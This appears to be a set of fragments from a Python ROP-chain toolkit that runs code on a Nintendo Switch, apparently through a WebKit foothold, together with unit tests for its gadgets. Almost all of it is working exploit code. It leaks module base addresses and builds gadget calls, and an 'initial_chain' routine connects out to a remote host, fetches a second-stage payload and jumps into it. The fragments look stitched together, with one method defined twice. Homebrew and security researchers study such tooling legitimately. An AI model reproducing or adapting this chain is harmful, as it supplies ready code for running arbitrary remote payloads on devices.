def call(self, func, *args, **kwargs): if type(func) in [str, unicode]: if func in self.funcs: func = self.funcs[func] else: raise RuntimeError("unknown function {}".format(func)) return_regs = kwargs.get("regs", False) if "regs" in kwargs: del kwargs["regs"] args = list(args) rop = Rop() for x, arg in enumerate(args): if type(arg) is str: args[x] = rop.awrites(arg) rop.call(func, *args, **kwargs) r0_off = RPC_RESPONSE_LEN - 8 jmp_buf_off = RPC_RESPONSE_LEN - 0x1000 # if user asked for return_regs, we use setjmp to retrieve them # this is useful for syscalls because they can return values in multiple regs if return_regs: rop.dump_regs(data_base + jmp_buf_off, and_store_r0=data_base + r0_off) else: # NB: we store return address as the last qword that switch replies to us, to ensure minimum conflicts with other code rop.store_ret(data_base + r0_off) data = self.ch.execute(rop) self.ch.mem = data ret = u64(data, r0_off) if return_regs: regs = {"x0": ret} # this one's special for x in range(1, 31): regs["x{}".format(x)] = u64(data, jmp_buf_off + 8 * x) return regs return ret
def get_bases(self): rop = Rop() rop.write64(data_base, data_base + 0) rop.write64(main_base, data_base + 8) rop.write64(wk_base, data_base + 0x10) data = self.execute(rop) buf_base = u64(data, 0) - 0x10000 return [buf_base, u64(data, 8)]
def bases(self): """ Ok this is done in a kinda roundabout way but whatever """ rop = Rop() rop.write64(data_base, data_base + 0) rop.write64(main_base, data_base + 8) rop.write64(wk_base, data_base + 0x10) data = self.execute(rop) buf_base = u64(data, 0) - 0x10000 print "Static memory: 0x{:x} (You can use it between different calls)".format(buf_base) print "Main binary base: 0x{:x}".format(u64(data, 8)) print "Webkit base: 0x{:x}".format(u64(data, 0x10))
def write_rop(self, rop_addr, rop): writer = Rop() n = 0 for i, x in enumerate([0] + rop.rop): writer.write64(x, rop_addr + 8 * i) n+=1 if n == 16: self.execute(writer) writer = Rop() n = 0 if n != 0: self.execute(writer)
def initial_chain(self): """ This is the first chain executed on switch. Its purpose is to send initialization packet to sockserver. """ host = socket.inet_aton(self.host) port = socket.htons(self.port) rop = Rop() sock = rop.alloc(8) sockaddr = rop.awrite("\x00\x02" + p16(port) + host + "\x00\x00\x00\x00\x00\x00\x00\x00") # we send the setup buffer to sockserv, which contains bases of modules and data rop.write64(data_base, data_base) rop.write64(main_base, data_base + 0x8) rop.write64(wk_base, data_base + 0x10) rop.call(F.socket, 2, 1, 0) rop.store_ret(sock) # also store socket fd to setup buffer rop.load_ret(sock) rop.store_ret(data_base + 0x100) rop.load_ret(sock) rop.call(F.connect, Ret, sockaddr, 16) rop.load_ret(sock) # okay now send setup buffer rop.call(F.send, Ret, data_base, 0x1000, 0) # at this point data_base is pointing at buffer+0x8000 # just read the rop payload to buffer+0x20000 new_stack = data_base + (0x20000 - 0x8000) + RPC_ROP_LOCALS # recv back the rop payload rop.load_ret(sock) rop.call(F.recv, Ret, new_stack, RPC_ROP_LEN, SWITCH_MSG_WAITALL) # flags=MSG_WAITALL # set up jmp_buf rop.write64(new_stack, data_base + 0xF8) # SP rop.write64(G.pop_x29_x30, data_base + 0x100) # X30 # jump into the new payload rop.call(F.longjmp, data_base) return rop
def setUp(self): self.rop = Rop()
class Test(unittest.TestCase): def setUp(self): self.rop = Rop() def execute(self): # this must match test/main.c! reloc = { 1: 0x0100000000, # data 2: 0x0200000000, # main 3: 0x0300000000, # wk } binary = self.rop.generate_binary(reloc) tmp = tempfile.mkdtemp() rop_bin = os.path.join(tmp, "rop.bin") with open(rop_bin, "wb") as fout: fout.write(binary) os.chdir("test") try: with open(os.devnull, 'w') as devnull: output = subprocess.check_output( ["./run.sh", g_main_bin, g_wk_bin, rop_bin], stderr=devnull) except Exception as e: os.chdir("..") raise e os.chdir("..") self.memory = output shutil.rmtree(tmp) def test_write(self): """" Tests that the write64 gadget works """ self.rop.write64(0x1234567887654321, data + 0) self.rop.write64(0xDEADBEEF, data + 8) self.execute() self.assertEqual(u64(self.memory, 0), 0x1234567887654321) self.assertEqual(u64(self.memory, 8), 0xDEADBEEF) def test_func_call(self): """ Tests that chaining functions works, and arguments are passed properly """ self.rop.call(F.setjmp, data + 0, 0x1111111111, 0x2222222222, 0x3333333333, 0x4444444444) # setjmp self.rop.write64(0xDEAD, data + 0x50) self.rop.call(F.setjmp, data + 0x100, 0x8, 0x7, 0x6, 0x5) # setjmp self.execute() self.assertEqual(u64(self.memory, 0x8), 0x1111111111) self.assertEqual(u64(self.memory, 0x10), 0x2222222222) self.assertEqual(u64(self.memory, 0x18), 0x3333333333) self.assertEqual(u64(self.memory, 0x20), 0x4444444444) self.assertEqual(u64(self.memory, 0x50), 0xDEAD) self.assertEqual(u64(self.memory, 0x108), 0x8) self.assertEqual(u64(self.memory, 0x110), 0x7) self.assertEqual(u64(self.memory, 0x118), 0x6) self.assertEqual(u64(self.memory, 0x120), 0x5) def test_awrite(self): """ Tests that awrite works and is zero-terminated when needed """ mem1 = self.rop.awrite("such rop") # non zero-terminated mem2 = self.rop.awrites("much code exec..") mem3 = self.rop.awrite("x") mem4 = self.rop.awrite("y") mem_last = self.rop.awrite("\x00") self.execute() wrote = self.memory[mem1.imm:mem_last.imm] self.assertEqual( wrote, "such ropmuch code exec..\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00y\x00\x00\x00\x00\x00\x00\x00" ) def test_store_load_ret(self): """ Tests that store_ret and load_ret work """ self.rop.write64(0x8DEADB00B, data) self.rop.load_ret(data) self.rop.store_ret(data + 8) self.rop.load_ret(data + 8) self.rop.store_ret(data + 0x50) self.execute() self.assertEqual(u64(self.memory, 0), 0x8DEADB00B) self.assertEqual(u64(self.memory, 8), 0x8DEADB00B) self.assertEqual(u64(self.memory, 0x50), 0x8DEADB00B) def test_rv_call(self): """ Tests that x0 is forwarded properly """ off = 0x1230 self.rop.write64(data + off, data) self.rop.load_ret(data) self.rop.call(F.setjmp, Ret, 1, 2, 3, 4) self.execute() for x in range(1, 5): self.assertEqual(u64(self.memory, off + x * 8), x) def test_set_x8(self): """ Tests that setting X8 works """ self.rop.call(F.setjmp, data + 0, 2, 3, x8=0xB00BBABE) # setjmp self.execute() self.assertEqual(u64(self.memory, 1 * 8), 2) self.assertEqual(u64(self.memory, 2 * 8), 3) self.assertEqual(u64(self.memory, 8 * 8), 0xB00BBABE) def test_v8_call(self): """ Tests that calling with a lot of args works """ self.rop.call(F.setjmp, data + 0, 2, 3, 4, 5, 6, 7, 8) # setjmp self.execute() for x in range(1, 8): self.assertEqual(u64(self.memory, x * 8), x + 1) def test_dump_regs(self): """ Tests that dumping regs via setjmp works """ self.rop.call(G.ret, 1, 2, 3, 4, 5, 6, 7, 8) self.rop.dump_regs(data, and_store_r0=data + 0x400) self.execute() self.assertEqual(u64(self.memory, 0x400), 1) # r0 for x in range(1, 8): self.assertEqual(u64(self.memory, x * 8), x + 1)
def w(self, addr, data): rop = Rop() src = rop.awrite(data) rop.call(F.memcpy, addr, src, len(data)) self.execute(rop)